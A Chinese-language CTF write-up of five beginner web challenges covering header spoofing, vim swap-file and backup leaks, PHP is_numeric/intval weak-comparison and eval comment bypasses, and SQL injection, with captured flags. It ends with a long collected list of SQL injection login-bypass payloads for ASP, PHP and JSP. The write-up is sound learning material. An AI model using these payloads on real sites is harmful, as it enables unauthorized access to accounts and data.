01HTTP
flag{f1cb35f5-05de-4559-8f99-28e1f11df403}
02Head?Header!
或者xxf头:localhost
03我真的会谢
这个题目比之前有意思多了
可知是vim缓存,利用vim缓存知识:
使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除。vim异常退出后,因为未处理缓存文件不会被删除,可以通过缓存文件恢复原始文件内容以 index.php 为例:
第一次vim会创建缓存的交换文件名为 .index.php.swp,
再次意外退出后,将会产生名为 .index.php.swo 的交换文件,
第三次产生的交换文件则为 .index.php.swn。
所以利用:.index.php.swp查看目录
由提示去找隐藏文件,有robots.txt
找www.zip
flag{Th1s_Is_s000_e4sy_d0_y00u_th1nk_so?}
备份文件下载:通常.index.php.swp .index.php.swp www.zip robots.txt\
04NOTPHP
这个题目是最有意思的一题
PHP is_numeric() 函数
is_numeric() 函数用于检测变量是否为数字或数字字符串。
语法
bool is_numeric ( mixed $var )
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,浮点型返回空值即 FALSE,不仅检查十进制,同时也检查十六进制
绕过方法
is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后,因为查看函数发现该函数对于第一个空格字符会跳过空格字符直接判断后面的内容
构造:
?num = 1%00
?num = 1%20
?num = 1'
?num = 1a
对于这道题来说只要在1后跟任意字符都可以绕过is_numeric函数的判断
这道题的主要考点并非is_numeric函数而是对弱等于的绕过
学习函数最好的方式就是去学习官方的,这样学习得到的收获更多一些,这里我们先来看一下这个函数定义
intval — 获取变量的整数值
1
而它的具体格式和解释如下
int intval( var,base)
//var指要转换成 integer 的数量值,base指转化所使用的进制
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
◦ 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
◦ 将使用 10 进制 (decimal)。
intval() 函数可以获取变量的「整数值」。常用于强制类型转换。
语法
<span style="color:#000000"><span style="background-color:#fafafa"><code class="language-php"><span style="color:#0077aa">int</span> <span style="color:#dd4a68">intval</span><span style="color:#999999">(</span> <span style="color:#ee9900">$var</span><span style="color:#999999">,</span> <span style="color:#ee9900">$base</span> <span style="color:#999999">)</span>
</code></span></span>
- 1
参数
- $var:需要转换成 integer 的「变量」
- $base:转换所使用的「进制」
返回值
返回值为 integer 类型,可能是 0 或 1 或 其他integer 值。
- 0:失败 或 空array 返回 0
- 1:非空array 返回 1
- 其他integer值:成功时 返回 $var 的 integer 值。
返回值的「最大值」取决于系统
- 32 位系统(-2147483648 到 2147483647)
- 64 位系统(-9223372036854775808到9223372036854775807)
最后汇总一下intval()函数漏洞的绕过思路:
1)当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。
2)对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
3)当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。
4)当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)
5)当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。
6)当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。
在PHP中,#
字符是注释符号,用于注释一行代码。当在eval
函数中使用#
时,它将注释掉$_GET['cmd']
参数中#
以及其后的所有内容,使其不会作为有效的PHP代码被执行。
eval("#".$_GET['cmd']);
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
.拼接字符串,#后的被注释了,可以用%0a换行绕过,或者?>闭合。
%0a是换行符,#只能对后面的注释
?>将#闭合,使#无法在后面的语句中发挥作用<?#?>
如果不用?><?只有前面的?> 后面会当字符串输出
flag{26318b2d-58ac-4640-bd62-cdd9bbc25818}
得到flag
05Word-For-You
把flag放到了数据库
这里试了试不写东西会有弹窗,有可能是sql xxs等等,先试试sql注入直接出来了,用and不行后面没注释也不行
用万能密码也行1′ or 1=1 or ‘1’=’1
用时间盲注测试也有反应,这里不做演示
得到flag:flag{Th1s_is_0_simp1e_S0L_test}
下面是积累的:
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1
asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便
PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1
jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*